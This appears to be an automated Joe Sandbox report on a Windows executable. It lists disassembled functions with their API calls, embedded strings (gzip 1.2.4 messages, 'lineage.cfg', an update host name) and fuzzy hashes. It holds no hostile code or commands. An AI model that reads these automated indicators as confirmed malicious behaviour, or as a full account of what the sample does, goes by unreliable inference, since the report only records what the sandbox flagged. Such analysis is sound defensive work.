Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: strrchr$fprintfstrcspn
String ID: .tar$.tgz$can't recover suffix$internal error in shorten_name$name too short
API String ID: 3861143205-2223311432
Opcode ID: 56e2620eb037e95c92781b0fa5cc298dba40189d7c33656321d29130f0b3e5c7
Instruction ID: cfa93fa0c9688f37e3b74e6e18ad113cd6a683f9ce775eb1b0710fe7abdf1a04
Opcode Fuzzy Hash: 56e2620eb037e95c92781b0fa5cc298dba40189d7c33656321d29130f0b3e5c7
Instruction Fuzzy Hash: 854138766087551BD7209E286C107AFBBC1DB96310F28467BEC85A33C2D7BA9C0987DD

Function 0040A7E0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 56stringCOMMON

Download Yara Rule

APIs

_chmod.MSVCRT ref: 0040A7EC

Part of subcall function 0040A880: _open.MSVCRT ref: 0040A88D

strncmp.MSVCRT ref: 0040A815
_open.MSVCRT ref: 0040A836
_write.MSVCRT ref: 0040A854
_write.MSVCRT ref: 0040A85D
_close.MSVCRT ref: 0040A860
free.MSVCRT ref: 0040A86B

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A7E5

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _open_write$_chmod_closefreestrncmp
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 1992929274-4278508022
Opcode ID: b0b10054e9d811ef64e9d479db2ebb033e4e170392b009d181fcf804bc130eab
Instruction ID: d5b790ee09dae37e68e7750a3a3385f08c03447546272726d46f10df84067ba6
Opcode Fuzzy Hash: b0b10054e9d811ef64e9d479db2ebb033e4e170392b009d181fcf804bc130eab
Instruction Fuzzy Hash: 6001F9325402107BD1016715AC45EAF33A8DF85B55F04C039F904A2280EB7D9D5787FF

Function 00408F00 Relevance: 13.6, APIs: 9, Instructions: 97fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,08000000,00000000), ref: 00408F1B
GetFileSize.KERNEL32(00000000,?), ref: 00408F32
CloseHandle.KERNEL32(00000000), ref: 00408F43
malloc.MSVCRT ref: 00408F51
CloseHandle.KERNEL32(00000000), ref: 00408F61

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: CloseFileHandle$CreateSizemalloc
String ID:
API String ID: 832796747-0
Opcode ID: 479da16b189d4319f38e416f2df4ef96fa9eec955b64e273ff50ff58c6565655
Instruction ID: d4d4dbeef034970ea3fce49b00f5570b28fcdb05ba413549aa964d5a795237e1
Opcode Fuzzy Hash: 479da16b189d4319f38e416f2df4ef96fa9eec955b64e273ff50ff58c6565655
Instruction Fuzzy Hash: BE21CC76204305AFE7105B74BC48FEB7769EB84722F10853EF74AD1280EBB498858769

Function 00406930 Relevance: 13.6, APIs: 9, Instructions: 81windowCOMMON

Download Yara Rule

APIs

vsprintf.MSVCRT ref: 00406948
SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,000000FF), ref: 00406974
SendDlgItemMessageA.USER32(?,000003F5,000000B0,?,?), ref: 00406990
SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,00003FFF), ref: 004069B5
SendDlgItemMessageA.USER32(?,000003F5,000000C2,00000000,004231C8), ref: 004069CF
SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,000000FF), ref: 004069E5
SendDlgItemMessageA.USER32(?,000003F5,000000B0,?,?), ref: 00406A01
SendDlgItemMessageA.USER32(?,000003F5,000000B1,?,?), ref: 00406A1A
SendDlgItemMessageA.USER32(?,000003F5,000000C2,00000000,?), ref: 00406A33

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ItemMessageSend$vsprintf
String ID:
API String ID: 1140547905-0
Opcode ID: 71bffc2fb07b61fe9fb47ff9566554edaf6b3f8d3e673b034361d1632632bf64
Instruction ID: 5521610152aa145ef41dce1af4b3ce32329c33d7c881f2a6bf9fd3f2bfd00b01
Opcode Fuzzy Hash: 71bffc2fb07b61fe9fb47ff9566554edaf6b3f8d3e673b034361d1632632bf64
Instruction Fuzzy Hash: EA214F71B843167BF520D754DC86FA637ACDB84B00F80892AB754AB1E0EBF4B9418F95

Function 00406E90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 141windowCOMMON

Download Yara Rule

APIs

htonl.WSOCK32(?), ref: 00406EB2
sprintf.MSVCRT ref: 00406F50
htonl.WSOCK32(?), ref: 00406F84
_ftol.MSVCRT ref: 00406FF8
SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 00407009
htonl.WSOCK32(?), ref: 00407019

Strings

%s.gz, xrefs: 00406F46

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: htonl$MessageSend_ftolsprintf
String ID: %s.gz
API String ID: 347006897-506877619
Opcode ID: 919993e58ef4d44a7d01eedb12fe464d1e9105f1e53959857d31b62cf5412cd8
Instruction ID: f5cd75c4530d01ae92219204bb5bf1eb5bff02ec4c610d68433682fc3c536229
Opcode Fuzzy Hash: 919993e58ef4d44a7d01eedb12fe464d1e9105f1e53959857d31b62cf5412cd8
Instruction Fuzzy Hash: DB4112B4F44310ABD250EFA9FC46F5A33A0E740705F45817AF545A72E2C6BCB9518BAC

Function 0040A1D0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

_strcmpi.MSVCRT ref: 0040A1FF
atoi.MSVCRT(?), ref: 0040A21B
atoi.MSVCRT(?), ref: 0040A23B

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A1DF
netsgo, xrefs: 0040A1FA

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: atoi$_strcmpi
String ID: netsgo$usmainupd2.lineageTheBloodPledge.com
API String ID: 4201911817-1120272338
Opcode ID: 804d48ebb8e193a3701d3e4b44d9c4b8fda528b3347b24a38b2dd944ec3e9824
Instruction ID: 946a26e6737a1b535d9a7643eafd1095cdeaa3c405f852664bfcc13734166e7d
Opcode Fuzzy Hash: 804d48ebb8e193a3701d3e4b44d9c4b8fda528b3347b24a38b2dd944ec3e9824
Instruction Fuzzy Hash: CD11967A70020067E710975CFC85BEA7358E788720F44813AED58D2380E1BEE99A96B6

Function 0040A880 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

_open.MSVCRT ref: 0040A88D
_lseek.MSVCRT ref: 0040A8AB

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A8C2

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _lseek_open
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 2666902854-4278508022
Opcode ID: b9d5d0ad0b8e288daf73789ce982e88d89c1d5d658d0e14e783b8d1a5a6732ca
Instruction ID: d121094fae00023878105c1caa6307fda9599a7c7ea01373903d1cc1979eb394
Opcode Fuzzy Hash: b9d5d0ad0b8e288daf73789ce982e88d89c1d5d658d0e14e783b8d1a5a6732ca
Instruction Fuzzy Hash: D5F0287374122077D7206BA8AC89FDB7798EF85372F108136F644D62C0DB7A995087AD

Function 00408D80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 004024D0: fopen.MSVCRT ref: 004024F2

fgets.MSVCRT ref: 00408DB8
atoi.MSVCRT(?), ref: 00408DCE
fgets.MSVCRT ref: 00408DFE
fgets.MSVCRT ref: 00408E6A
fclose.MSVCRT ref: 00408EDD

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 00408DE8

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fgets$atoifclosefopen
String ID: usmainupd2.lineageTheBloodPledge.com
API String ID: 3390724653-4278508022
Opcode ID: 36bf16d3365ebe6c1982db41ce7a78d6910c9eedce31e0dc370ecbff149c33f3
Instruction ID: ec9c16981d60bf94d8cf6ba1c7eade0994ddd278513ceb63639861188bf572e6
Opcode Fuzzy Hash: 36bf16d3365ebe6c1982db41ce7a78d6910c9eedce31e0dc370ecbff149c33f3
Instruction Fuzzy Hash: A141E4352043049BD314CB78AD456AB7BD0BB81354F544A3DF9A6E31D1EFB9D908C68D

Function 004033B0 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 32COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 004033DC

Part of subcall function 00403380: fprintf.MSVCRT ref: 0040339F

fprintf.MSVCRT ref: 00403402

Strings

%s %s (%s), xrefs: 004033D1
%s, xrefs: 004033F9
1.2.4, xrefs: 004033C8
18 Aug 93, xrefs: 004033C3

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintf
String ID: %s$%s %s (%s)$1.2.4$18 Aug 93
API String ID: 383729395-2112967068
Opcode ID: 542d0755c800e3b9d5a421d42a4a9b403712bb1b221898fa84610f293fabf537
Instruction ID: 09dec0b7b20d19481886b311921ae21eb8528ad09ed27254591a6e29a08808c4
Opcode Fuzzy Hash: 542d0755c800e3b9d5a421d42a4a9b403712bb1b221898fa84610f293fabf537
Instruction Fuzzy Hash: 12F0A77174020277D2109B99EC81FC72B9C4B847543168136FE05F73A1D6FDE9C186AC

Function 00403410 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 31COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040343C
fprintf.MSVCRT ref: 0040345D

Strings

%s %s (%s), xrefs: 00403431
%s, xrefs: 00403454
1.2.4, xrefs: 00403428
18 Aug 93, xrefs: 00403423

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintf
String ID: %s$%s %s (%s)$1.2.4$18 Aug 93
API String ID: 383729395-2112967068
Opcode ID: acfd205bf67f35b03ded3974709c3b43450fb2e25cc5f08b1349498bc72d68d5
Instruction ID: d922d7cee56dcaa0d6c03bcf1d33a6800460bf96123738d13dfdc2df850cb791
Opcode Fuzzy Hash: acfd205bf67f35b03ded3974709c3b43450fb2e25cc5f08b1349498bc72d68d5
Instruction Fuzzy Hash: F6F0A07134020177E2109B89EC40FC3679D9B84B643168036FA05F73A1D2FCE8D1866D

Function 0040F0A0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040F0BC
_errno.MSVCRT ref: 0040F0C1
perror.MSVCRT ref: 0040F0D2

Part of subcall function 00405600: _close.MSVCRT ref: 0040560F
Part of subcall function 00405600: _unlink.MSVCRT(0044F8A0), ref: 0040561A

fprintf.MSVCRT ref: 0040F0F1

Strings

%s: unexpected end of file, xrefs: 0040F0E8
%s: , xrefs: 0040F0B6

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintf$_close_errno_unlinkperror
String ID: %s: $%s: unexpected end of file
API String ID: 1149763740-1106867712
Opcode ID: 59e5e5cce7ed04751cdfe136a20e8464cae7361fafefde8ae2815f64ee9efe7e
Instruction ID: 4ca2c0cbfd535fbb8a2d196ce49de31ad3a0226fe2c68e532ce39777a4f2675f
Opcode Fuzzy Hash: 59e5e5cce7ed04751cdfe136a20e8464cae7361fafefde8ae2815f64ee9efe7e
Instruction Fuzzy Hash: E9E02B719403007BC600ABE4FC85ADB33149F45314354C43AF805623D0D5BE98C14BAD

Function 00408C70 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(00000000,00000000), ref: 00408C9A
EndDialog.USER32(00000000,00000001), ref: 00408CB0
SendDlgItemMessageA.USER32(?,000003F5,000000C5,00007FFF,00000000), ref: 00408CE1
EndDialog.USER32(00000000,00000000), ref: 00408D47

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Dialog$ItemMessageSend
String ID:
API String ID: 3275996760-0
Opcode ID: 8b14c4b2e2c3fa31662da62b01d202dbc81381d959c28cf83e5a59590a4a2407
Instruction ID: 66409707314fec767c8dfc2c1b69d48ff37f6e451188117965d607da9f69be5f
Opcode Fuzzy Hash: 8b14c4b2e2c3fa31662da62b01d202dbc81381d959c28cf83e5a59590a4a2407
Instruction Fuzzy Hash: 2A21363234460967E6308F60AD84FA77765D794711F20C53BF281EB2D2CBBAE882931C

Function 00406AA0 Relevance: 9.1, APIs: 6, Instructions: 67stringCOMMON

Download Yara Rule

APIs

strchr.MSVCRT ref: 00406AB4
strncpy.MSVCRT ref: 00406AD8
_mkdir.MSVCRT ref: 00406AF9
_errno.MSVCRT ref: 00406B0C
strchr.MSVCRT ref: 00406B17
_errno.MSVCRT ref: 00406B31

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _errnostrchr$_mkdirstrncpy
String ID:
API String ID: 1944004910-0
Opcode ID: b9459f4fb9f4554ea5f374cea7f1d7cf46ae2a94543f8e0fd08da2e9391c3a3d
Instruction ID: c7fd45ab8ac5d769a2df9dbbbf872869e0c49be0cc6fbd454d5c5320d20fbb43
Opcode Fuzzy Hash: b9459f4fb9f4554ea5f374cea7f1d7cf46ae2a94543f8e0fd08da2e9391c3a3d
Instruction Fuzzy Hash: FD113832500308AFD320A758EC04FE777ACEBC5311F05453AED4993280E67EA919CAB5

Function 0040E670 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 82COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 0040E733
fprintf.MSVCRT ref: 0040E778

Strings

%s: %s: not a valid zip file, xrefs: 0040E76A
%s: %s: first entry not deflated or stored -- use unzip, xrefs: 0040E700
%s: %s: encrypted file -- use unzip, xrefs: 0040E72D

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fprintf
String ID: %s: %s: encrypted file -- use unzip$%s: %s: first entry not deflated or stored -- use unzip$%s: %s: not a valid zip file
API String ID: 383729395-1335502982
Opcode ID: 3ae31f77682639302eeaa8b56bb6aeff166fc1940e5eb74c95f73508baa077cf
Instruction ID: ccba45bf3cdfee631a7557de64997877714a34fce8de09d69fdfbe282000d52f
Opcode Fuzzy Hash: 3ae31f77682639302eeaa8b56bb6aeff166fc1940e5eb74c95f73508baa077cf
Instruction Fuzzy Hash: 34310971B042905BD708DF28FCA5AA67BE1DB85701328C4BFE4469B762C2749955C78C

Function 0040F130 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 0040F143
fprintf.MSVCRT ref: 0040F16F
fputc.MSVCRT ref: 0040F1BC

Strings

%2ld.%1ld%%, xrefs: 0040F169
gfff, xrefs: 0040F156

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: fputc$fprintf
String ID: %2ld.%1ld%%$gfff
API String ID: 1721641446-1642739240
Opcode ID: 5f1f8430f7442e578903eb5f695dc9495466b27275a5b858d1406b8d9976c704
Instruction ID: 5972cb3f326e6bc6d8ea684cb43cfc3fbca8fe663e5fa5fa333193b1056b7619
Opcode Fuzzy Hash: 5f1f8430f7442e578903eb5f695dc9495466b27275a5b858d1406b8d9976c704
Instruction Fuzzy Hash: 1801C4317041159BC718CA0DFC15E7A37A5DBC9704F14413EF445EF281D674EC1A87AA

Function 0040A690 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

Part of subcall function 004071D0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,usmainupd2.lineageTheBloodPledge.com,?,75C09CE0,?,0040A69E,lineage.cfg,00000000,usmainupd2.lineageTheBloodPledge.com), ref: 004071EB
Part of subcall function 004071D0: sprintf.MSVCRT ref: 00407203

inet_ntoa.WS2_32(00000000), ref: 0040A71E
??3@YAXPAX@Z.MSVCRT(00000000,?,?), ref: 0040A759

Strings

usmainupd2.lineageTheBloodPledge.com, xrefs: 0040A691
lineage.cfg, xrefs: 0040A694

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ??3@CreateFileinet_ntoasprintf
String ID: lineage.cfg$usmainupd2.lineageTheBloodPledge.com
API String ID: 1315205024-3440496695
Opcode ID: c31013b62972e259811996fe396ded22d9c1ba85ff980e8f05514d338c30324e
Instruction ID: 25192f007a0f3ae62e241f977d47106c3ee39ebb564a0d4c6efc90b884b36583
Opcode Fuzzy Hash: c31013b62972e259811996fe396ded22d9c1ba85ff980e8f05514d338c30324e
Instruction Fuzzy Hash: 28214C356447081BC71049389C8456B37E69EA7334B2D8737FCA6A73C0E67EDC19924A

Function 00408200 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 50networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32 ref: 0040824A

Part of subcall function 00406930: vsprintf.MSVCRT ref: 00406948
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,000000FF), ref: 00406974
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B0,?,?), ref: 00406990
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,00003FFF), ref: 004069B5
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000C2,00000000,004231C8), ref: 004069CF
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B1,00000000,000000FF), ref: 004069E5
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B0,?,?), ref: 00406A01
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000B1,?,?), ref: 00406A1A
Part of subcall function 00406930: SendDlgItemMessageA.USER32(?,000003F5,000000C2,00000000,?), ref: 00406A33

WSAGetLastError.WS2_32 ref: 00408277

Strings

Failed to set recv timeout: %d, xrefs: 0040824D
Failed to set send timeout: %d, xrefs: 0040827A

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: ItemMessageSend$ErrorLast$vsprintf
String ID: Failed to set recv timeout: %d$Failed to set send timeout: %d
API String ID: 1785133882-613817813
Opcode ID: df24736c2f179e7d8c39b548996d3c6138925a72012af695bbfac452e9980746
Instruction ID: 48710dd16d4bb94a049b73eb6fa8fca473088dd0fc3453f31d3ff223bccfa4ba
Opcode Fuzzy Hash: df24736c2f179e7d8c39b548996d3c6138925a72012af695bbfac452e9980746
Instruction Fuzzy Hash: CB01F97150021A6FD510DF59DC41CEA739CDF46718F11027EF220971E1EB71A9598FA9

Function 00405510 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_utime.MSVCRT(?,00000000,00000000,00403D32,0048C3A0), ref: 00405530
fprintf.MSVCRT ref: 0040556D
perror.MSVCRT ref: 00405597

Strings

%s: , xrefs: 00405567

Memory Dump Source

Source File: 00000002.00000002.1739875260.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1739785576.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739875260.000000000049E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739932708.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1739948710.00000000004A2000.00000004.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: _utimefprintfperror
String ID: %s:
API String ID: 1785166771-4275611816
Opcode ID: 3dffbf9a68d3ee0bdd35a421d8a46b7207aea4aafc6ba0da58cf8cc004e941c6
Instruction ID: ea4df089108c67531c2501276bd1f0e5eac6c791ba18e3daf09e2411086532cf
Opcode Fuzzy Hash: 3dffbf9a68d3ee0bdd35a421d8a46b7207aea4aafc6ba0da58cf8cc004e941c6
Instruction Fuzzy Hash: D8012970600702ABD720DF18ED45BA773B4EB40705F448439E845D7390E7BDE959CB99

Function 00406C50 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

_write.MSVCRT ref: 00406C62
_ftol.MSVCRT ref: 00406C8B
SendMessageA.USER32(00000000,00000402,00000000,00000000), ref: 00406C9D
_close.MSVCRT ref: 00406CB8

Memory Dump Source

